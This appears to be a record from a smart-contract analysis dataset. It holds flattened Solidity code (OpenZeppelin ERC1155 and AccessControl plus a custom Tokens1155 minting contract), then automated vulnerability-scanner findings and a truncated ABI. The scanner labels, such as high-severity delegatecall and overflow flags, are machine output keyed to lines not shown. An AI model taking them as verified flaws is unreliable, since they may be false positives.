_beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] += amount; emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn( address account, uint256 id, uint256 amount ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address account, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 accountBalance = _balances[id][account]; require(accountBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][account] = accountBalance - amount; } } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File @openzeppelin/contracts/access/[email protected] pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // File @openzeppelin/contracts/utils/[email protected] pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/access/[email protected] pragma solidity ^0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File contracts/tokens_1155.sol pragma solidity ^0.8.2; contract Tokens1155 is ERC1155, AccessControl { bytes32 public constant URI_SETTER_ROLE = keccak256("URI_SETTER_ROLE"); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); // Fungible Token ID range is 1..10000 // NFT ID range is 10001+ // This is the current lowest ID that can be minted uint256 public minimumId; constructor() ERC1155("") { _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(MINTER_ROLE, msg.sender); minimumId = 10000; } function setURI(string memory newuri) public onlyRole(DEFAULT_ADMIN_ROLE) { _setURI(newuri); } // As long as IDs are minted sequentially (and this can be verified after each call), IDs in the non-fungible range // are safe from being duplicated. function mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) public onlyRole(MINTER_ROLE) { if(ids[0] <= 10000) { // Fungible zone for (uint256 i = 0; i < ids.length; i++) { require(ids[i] <= 10000, "Fungible ID must be below 10000"); } } else { // Non-fungible zone for (uint256 i = 0; i < ids.length; i++) { require(ids[i] == minimumId + i + 1, "IDs are not incremental"); } minimumId += ids.length; } _mintBatch(to, ids, amounts, data); } // The following functions are overrides required by Solidity. function supportsInterface(bytes4 interfaceId) public view override(ERC1155, AccessControl) returns (bool) { return super.supportsInterface(interfaceId); } }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1341", "1345", "847", "700"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["410"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1052", "1074", "1286"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["559"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["1348", "792", "763", "822", "709", "707", "854", "667", "669"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [257, 258, 259]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [432, 433, 434, 435]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [1309]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tokens1155.sol": [420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tokens1155.sol": [1285, 1286, 1287, 1288, 1289]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tokens1155.sol": [279, 280, 281, 282, 283, 284]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tokens1155.sol": [808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tokens1155.sol": [333, 334, 335, 336, 337, 338, 339]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tokens1155.sol": [403, 404, 405, 406, 407, 408, 409, 410, 411, 412]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tokens1155.sol": [1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080, 1081]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tokens1155.sol": [393, 394, 395]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tokens1155.sol": [1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tokens1155.sol": [352, 353, 354, 355, 356, 357, 358, 347, 348, 349, 350, 351]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tokens1155.sol": [464, 465, 463]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tokens1155.sol": [368, 366, 367]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tokens1155.sol": [835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tokens1155.sol": [751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tokens1155.sol": [320, 314, 315, 316, 317, 318, 319]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tokens1155.sol": [384, 385, 376, 377, 378, 379, 380, 381, 382, 383]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Tokens1155.sol": [304, 305, 306]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tokens1155.sol": [547, 548, 549]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tokens1155.sol": [608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tokens1155.sol": [625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tokens1155.sol": [1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1336, 1337, 1338, 1339, 1340, 1341, 1342, 1343]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tokens1155.sol": [1330, 1331, 1332]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tokens1155.sol": [576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 570, 571, 572, 573, 574, 575]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tokens1155.sol": [1224, 1225, 1223]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tokens1155.sol": [591, 592, 593, 594, 595, 596]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tokens1155.sol": [1236, 1237, 1238]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Tokens1155.sol": [1254, 1255, 1256, 1257, 1258]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [31]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [228]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [1034]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [1309]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [5]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [1102]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [446]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [155]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [207]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [471]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [945]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [499]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [356]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [282]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [410]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"Tokens1155.sol": [383]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"Tokens1155.sol": [923]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"Tokens1155.sol": [904]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"Tokens1155.sol": [927]}}, {"check": "variable-scope", "impact": "Low", "confidence": "High", "lines": {"Tokens1155.sol": [900]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"Tokens1155.sol": [921]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"Tokens1155.sol": [903]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"Tokens1155.sol": [926]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"Tokens1155.sol": [899]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Tokens1155.sol": [899, 900, 901, 902, 903, 904, 905, 906, 907]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"Tokens1155.sol": [928, 929, 930, 920, 921, 922, 923, 924, 925, 926, 927]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1091, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1150, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 761, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 766, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 789, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 797, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 817, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 845, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 581, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 700, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 791, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 847, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1341, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 1345, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 581, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 700, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 791, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 847, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1341, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 1345, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 31, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 155, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 207, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 228, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 446, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 471, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 499, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 945, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1034, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1102, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1309, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 512, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 515, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 518, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1040, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1148, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 900, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 923, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 251, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 463, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 143, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 195, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 279, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 523, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1322, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 146, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 147, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 147, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 148, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 198, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 199, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 199, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 200, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 201, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 279, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 279, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 280, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 280, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 280, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 280, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 282, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 282, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 282, "severity": 1}]
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"previousAdminRole","type":"bytes32"},{"indexed":true,"internalType":"bytes32","name":"newAdminRole","type":"bytes32"}],"name":"RoleAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleGranted","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"role","type":"bytes32"},{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"address","name":"sender","type":"address"}],"name":"RoleRevoked","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256[]","name":"ids","type":"uint256[]"},{"indexed":false,"internalType":"uint256[]","name":"values","type":"uint256[]"}],"name":"TransferBatch","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"id","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"TransferSingle","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"value","type":"string"},{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"}],"name":"URI","type":"event"},{"inputs":[],"name":"DEFAULT_ADMIN_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MINTER_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"URI_SETTER_ROLE","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256[]","name":"ids","type":"uint256[]"}],"name":"balanceOfBatch","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"}],"name":"getRoleAdmin","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"grantRole","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"role","type":"bytes32"},{"internalType":"address","name":"account","type":"address"}],"name":"hasRole","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":